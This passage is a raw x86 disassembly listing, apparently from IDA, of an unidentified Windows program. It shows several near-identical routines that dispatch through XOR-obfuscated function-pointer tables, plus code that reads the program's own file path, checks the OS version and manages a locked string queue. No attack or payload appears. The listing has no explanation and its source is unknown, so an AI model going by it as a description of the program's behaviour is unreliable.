var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0DDh
mov [ebp+var_2C], 0B2h
mov [ebp+var_28], 20h
mov [ebp+var_24], 88h
mov [ebp+var_20], 26h
mov [ebp+var_1C], 31h
mov [ebp+var_18], 68h
mov [ebp+var_14], 11h
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B2DB1
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B2DB1: ; CODE XREF: sub_4B2D20+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2E1D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC30o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Bh
mov [ebp+var_2C], 0D8h
mov [ebp+var_28], 1Eh
mov [ebp+var_24], 90h
mov [ebp+var_20], 99h
mov [ebp+var_1C], 6Dh
mov [ebp+var_18], 7Ah
mov [ebp+var_14], 78h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B2EAE
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B2EAE: ; CODE XREF: sub_4B2E1D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2E1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2F1A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC34o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 9Fh
mov [ebp+var_2C], 2Ah
mov [ebp+var_28], 7
mov [ebp+var_24], 0BFh
mov [ebp+var_20], 0
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], 0B9h
mov [ebp+var_14], 8Ah
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B2FAB
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B2FAB: ; CODE XREF: sub_4B2F1A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2F1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3017 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC38o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0DDh
mov [ebp+var_2C], 9Fh
mov [ebp+var_28], 0F9h
mov [ebp+var_24], 0D1h
mov [ebp+var_20], 0E5h
mov [ebp+var_1C], 1
mov [ebp+var_18], 82h
mov [ebp+var_14], 87h
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B30A8
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B30A8: ; CODE XREF: sub_4B3017+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B3017 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3114 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC3Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Dh
mov [ebp+var_2C], 33h
mov [ebp+var_28], 1Bh
mov [ebp+var_24], 0DCh
mov [ebp+var_20], 0D3h
mov [ebp+var_1C], 3Ah
mov [ebp+var_18], 0F6h
mov [ebp+var_14], 20h
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B31A5
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B31A5: ; CODE XREF: sub_4B3114+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B3114 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3211 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC40o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0CFh
mov [ebp+var_2C], 0B7h
mov [ebp+var_28], 0CCh
mov [ebp+var_24], 3Ah
mov [ebp+var_20], 0D0h
mov [ebp+var_1C], 80h
mov [ebp+var_18], 0D3h
mov [ebp+var_14], 93h
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B32A2
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B32A2: ; CODE XREF: sub_4B3211+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B3211 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3310 proc near ; DATA XREF: .data:004ED290o
push ebp
mov ebp, esp
call sub_4B331A
pop ebp
retn
sub_4B3310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B331A proc near ; CODE XREF: sub_4B3310+3p
push ebp
mov ebp, esp
mov ecx, offset dword_4F3AD8
call sub_4B3329
pop ebp
retn
sub_4B331A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3329 proc near ; CODE XREF: sub_4B331A+8p
var_328 = dword ptr -328h
Source = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
Str = byte ptr -314h
var_313 = byte ptr -313h
var_210 = dword ptr -210h
var_20C = word ptr -20Ch
var_20A = byte ptr -20Ah
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 328h
push edi
mov [ebp+var_318], ecx
mov eax, [ebp+var_318]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_318]
mov dword ptr [ecx], 0
mov edx, [ebp+var_318]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+var_318]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_318]
add ecx, 10h
push ecx
call dword_4ED1B4 ; InitializeCriticalSection
call dword_4ED1B8 ; GetCurrentProcessId
mov edx, [ebp+var_318]
mov [edx+28h], eax
call sub_4B36BD
and eax, 0FFh
test eax, eax
jz loc_4B351B
mov ax, word_4F4124
mov [ebp+var_20C], ax
mov ecx, 81h
xor eax, eax
lea edi, [ebp+var_20A]
rep stosd
stosw
push 104h
lea ecx, [ebp+var_20C]
push ecx
push 0
call dword_4ED1BC ; GetModuleFileNameW
push 5Ch ; Ch
lea edx, [ebp+var_20C]
push edx ; Str
call _wcsrchr
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4B33F7
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_31C], eax
jmp short loc_4B3403
; ---------------------------------------------------------------------------
loc_4B33F7: ; CODE XREF: sub_4B3329+BEj
lea ecx, [ebp+var_20C]
mov [ebp+var_31C], ecx
loc_4B3403: ; CODE XREF: sub_4B3329+CCj
mov edx, [ebp+var_31C]
push edx ; Source
mov eax, [ebp+var_318]
add eax, 234h
push eax ; Dest
call _wcscpy
add esp, 8
push 2Eh ; Ch
mov ecx, [ebp+var_318]
add ecx, 234h
push ecx ; Str
call _wcschr
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4B3446
mov edx, [ebp+var_4]
mov word ptr [edx], 0
loc_4B3446: ; CODE XREF: sub_4B3329+113j
push 104h
mov eax, [ebp+var_318]
add eax, 43Ch
push eax
push 0
call dword_4ED1BC ; GetModuleFileNameW
push 104h
lea ecx, [ebp+var_20C]
push ecx
mov edx, [ebp+var_318]
add edx, 43Ch
push edx
call dword_4ED1C0 ; GetShortPathNameW
test eax, eax
jz short loc_4B34FC
push 5Ch ; Ch
lea eax, [ebp+var_20C]
push eax ; Str
call _wcsrchr
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4B34AA
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_320], ecx
jmp short loc_4B34B6
; ---------------------------------------------------------------------------
loc_4B34AA: ; CODE XREF: sub_4B3329+171j
lea edx, [ebp+var_20C]
mov [ebp+var_320], edx
loc_4B34B6: ; CODE XREF: sub_4B3329+17Fj
mov eax, [ebp+var_320]
push eax ; Source
mov ecx, [ebp+var_318]
add ecx, 43Ch
push ecx ; Dest
call _wcscpy
add esp, 8
push 2Eh ; Ch
mov edx, [ebp+var_318]
add edx, 43Ch
push edx ; Str
call _wcschr
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4B34FA
mov eax, [ebp+var_4]
mov word ptr [eax], 0
loc_4B34FA: ; CODE XREF: sub_4B3329+1C7j
jmp short loc_4B3516
; ---------------------------------------------------------------------------
loc_4B34FC: ; CODE XREF: sub_4B3329+157j
push offset word_4F4124 ; Source
mov ecx, [ebp+var_318]
add ecx, 43Ch
push ecx ; Dest
call _wcscpy
add esp, 8
loc_4B3516: ; CODE XREF: sub_4B3329:loc_4B34FAj
jmp loc_4B36B2
; ---------------------------------------------------------------------------
loc_4B351B: ; CODE XREF: sub_4B3329+6Ej
mov dl, byte_4F4120
mov [ebp+Str], dl
mov ecx, 40h
xor eax, eax
lea edi, [ebp+var_313]
rep stosd
stosw
stosb
push 104h
lea eax, [ebp+Str]
push eax
push 0
call dword_4ED1C4 ; GetModuleFileNameA
push 5Ch ; Ch
lea ecx, [ebp+Str]
push ecx ; Str
call _strrchr_0
add esp, 8
mov [ebp+var_210], eax
cmp [ebp+var_210], 0
jz short loc_4B357E
mov edx, [ebp+var_210]
add edx, 1
mov [ebp+Source], edx
jmp short loc_4B358A
; ---------------------------------------------------------------------------
loc_4B357E: ; CODE XREF: sub_4B3329+242j
lea eax, [ebp+Str]
mov [ebp+Source], eax
loc_4B358A: ; CODE XREF: sub_4B3329+253j
mov ecx, [ebp+Source]
push ecx ; Source
mov edx, [ebp+var_318]
add edx, 2Ch
push edx ; Dest
call _strcpy_0
add esp, 8
push 2Eh ; Val
mov eax, [ebp+var_318]
add eax, 2Ch
push eax ; Str
call _strchr_0
add esp, 8
mov [ebp+var_210], eax
cmp [ebp+var_210], 0
jz short loc_4B35CF
mov ecx, [ebp+var_210]
mov byte ptr [ecx], 0
loc_4B35CF: ; CODE XREF: sub_4B3329+29Bj
push 104h
mov edx, [ebp+var_318]
add edx, 130h
push edx
push 0
call dword_4ED1C4 ; GetModuleFileNameA
push 104h
lea eax, [ebp+Str]
push eax
mov ecx, [ebp+var_318]
add ecx, 130h
push ecx
call dword_4ED1CC ; GetShortPathNameA
test eax, eax
jz loc_4B3699
push 5Ch ; Ch
lea edx, [ebp+Str]
push edx ; Str
call _strrchr_0
add esp, 8
mov [ebp+var_210], eax
cmp [ebp+var_210], 0
jz short loc_4B3641
mov eax, [ebp+var_210]
add eax, 1
mov [ebp+var_328], eax
jmp short loc_4B364D
; ---------------------------------------------------------------------------
loc_4B3641: ; CODE XREF: sub_4B3329+305j
lea ecx, [ebp+Str]
mov [ebp+var_328], ecx
loc_4B364D: ; CODE XREF: sub_4B3329+316j
mov edx, [ebp+var_328]
push edx ; Source
mov eax, [ebp+var_318]
add eax, 130h
push eax ; Dest
call _strcpy_0
add esp, 8
push 2Eh ; Val
mov ecx, [ebp+var_318]
add ecx, 130h
push ecx ; Str
call _strchr_0
add esp, 8
mov [ebp+var_210], eax
cmp [ebp+var_210], 0
jz short loc_4B3697
mov edx, [ebp+var_210]
mov byte ptr [edx], 0
loc_4B3697: ; CODE XREF: sub_4B3329+363j
jmp short loc_4B36B2
; ---------------------------------------------------------------------------
loc_4B3699: ; CODE XREF: sub_4B3329+2E1j
push offset byte_4F4120 ; Source
mov eax, [ebp+var_318]
add eax, 130h
push eax ; Dest
call _strcpy_0
add esp, 8
loc_4B36B2: ; CODE XREF: sub_4B3329:loc_4B3516j
; sub_4B3329:loc_4B3697j
mov eax, [ebp+var_318]
pop edi
mov esp, ebp
pop ebp
retn
sub_4B3329 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B36BD proc near ; CODE XREF: sub_4B3329+62p
; sub_4B3AFF+116p ...
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
xor eax, eax
mov al, byte_4F411D
test eax, eax
jnz short loc_4B3701
mov [ebp+var_94], 94h
lea ecx, [ebp+var_94]
push ecx
call dword_4ED1B0 ; GetVersionExA
xor edx, edx
cmp [ebp+var_84], 2
setz dl
mov byte_4F411C, dl
mov byte_4F411D, 1
loc_4B3701: ; CODE XREF: sub_4B36BD+12j
mov al, byte_4F411C
mov esp, ebp
pop ebp
retn
sub_4B36BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_4B370A(char *Str)
sub_4B370A proc near ; CODE XREF: sub_4B40C4+328p
; sub_4B40C4+425p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
add eax, 10h
push eax
call dword_4ED1A8 ; RtlEnterCriticalSection
push 0Ch
call sub_4C85E1
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4B3784
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+Str]
push edx ; Str
call _strlen_0
add esp, 4
add eax, 1
push eax
call sub_4C85E1
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+Str]
push edx ; Source
mov eax, [ebp+var_8]
mov ecx, [eax]
push ecx ; Dest
call _strcpy_0
add esp, 8
mov edx, [ebp+var_8]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
jmp short loc_4B378B
; ---------------------------------------------------------------------------
loc_4B3784: ; CODE XREF: sub_4B370A+27j
mov [ebp+var_14], 0
loc_4B378B: ; CODE XREF: sub_4B370A+78j
mov ecx, [ebp+var_14]
mov [ebp+var_4], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx+0Ch], 0
jnz short loc_4B37AE
mov eax, [ebp+var_10]
mov ecx, [ebp+var_4]
mov [eax+0Ch], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_4]
mov [edx+8], eax
jmp short loc_4B37C9
; ---------------------------------------------------------------------------
loc_4B37AE: ; CODE XREF: sub_4B370A+8Ej
mov ecx, [ebp+var_10]
mov edx, [ecx+0Ch]
mov eax, [ebp+var_4]
mov [edx+8], eax
mov ecx, [ebp+var_10]
mov edx, [ecx+0Ch]
mov eax, [ebp+var_10]
mov ecx, [edx+8]
mov [eax+0Ch], ecx
loc_4B37C9: ; CODE XREF: sub_4B370A+A2j
mov edx, [ebp+var_10]
add edx, 10h
push edx
call dword_4ED1AC ; RtlLeaveCriticalSection
mov esp, ebp
pop ebp
retn 4
sub_4B370A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_4B37DC(char *Dest,size_t Count)
sub_4B37DC proc near ; CODE XREF: sub_4B3AFF+269p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
Dest = dword ptr 8
Count = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_1C], ecx
mov eax, [ebp+var_1C]
add eax, 10h
push eax
call dword_4ED1A8 ; RtlEnterCriticalSection
mov [ebp+var_4], 0
mov ecx, [ebp+var_1C]
cmp dword ptr [ecx+8], 0
jz loc_4B38BD
mov edx, [ebp+var_1C]
mov eax, [edx+8]
mov [ebp+var_8], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ecx+8], eax
mov ecx, [ebp+var_1C]
cmp dword ptr [ecx+8], 0
jnz short loc_4B382B
mov edx, [ebp+var_1C]
mov dword ptr [edx+0Ch], 0
loc_4B382B: ; CODE XREF: sub_4B37DC+43j
cmp [ebp+Dest], 0
jz short loc_4B3857
cmp [ebp+Count], 0
jle short loc_4B3857
mov eax, [ebp+Count]
push eax ; Count
mov ecx, [ebp+var_8]
mov edx, [ecx]
push edx ; Source
mov eax, [ebp+Dest]
push eax ; Dest
call _strncpy_0
add esp, 0Ch
mov ecx, [ebp+Dest]
add ecx, [ebp+Count]
mov byte ptr [ecx-1], 0
loc_4B3857: ; CODE XREF: sub_4B37DC+53j
; sub_4B37DC+59j
mov edx, [ebp+var_8]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4B38B2
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov [ebp+var_14], edx
mov eax, [ebp+var_14]
push eax
call sub_4C85D6
add esp, 4
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
call sub_4C85D6
add esp, 4
mov ecx, 1
and ecx, 1
test ecx, ecx
jz short loc_4B38AA
mov edx, [ebp+var_C]
push edx
call sub_4C85D6
add esp, 4
loc_4B38AA: ; CODE XREF: sub_4B37DC+C0j
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_4B38B9
; ---------------------------------------------------------------------------
loc_4B38B2: ; CODE XREF: sub_4B37DC+8Bj
mov [ebp+var_20], 0
loc_4B38B9: ; CODE XREF: sub_4B37DC+D4j
mov [ebp+var_4], 1
loc_4B38BD: ; CODE XREF: sub_4B37DC+21j
mov ecx, [ebp+var_1C]
add ecx, 10h
push ecx
call dword_4ED1AC ; RtlLeaveCriticalSection
mov al, [ebp+var_4]
mov esp, ebp
pop ebp
retn 8
sub_4B37DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_4B38D3(wchar_t *Str)
sub_4B38D3 proc near ; CODE XREF: sub_4B40C4+2FBp
; sub_4B40C4+3F2p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
add eax, 10h
push eax
call dword_4ED1A8 ; RtlEnterCriticalSection
push 0Ch
call sub_4C85E1
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4B394F
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
mov edx, [ebp+Str]
push edx ; Str
call _wcslen_0
add esp, 4
lea eax, [eax+eax+2]
push eax
call sub_4C85E1
add esp, 4
mov [ebp+var_C], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov [ecx+4], edx
mov eax, [ebp+Str]
push eax ; Source
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx ; Dest
call _wcscpy
add esp, 8
mov eax, [ebp+var_8]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_8]
mov [ebp+var_14], ecx
jmp short loc_4B3956
; ---------------------------------------------------------------------------
loc_4B394F: ; CODE XREF: sub_4B38D3+27j
mov [ebp+var_14], 0
loc_4B3956: ; CODE XREF: sub_4B38D3+7Aj
mov edx, [ebp+var_14]
mov [ebp+var_4], edx
mov eax, [ebp+var_10]
cmp dword ptr [eax+0Ch], 0
jnz short loc_4B3979
mov ecx, [ebp+var_10]
mov edx, [ebp+var_4]
mov [ecx+0Ch], edx
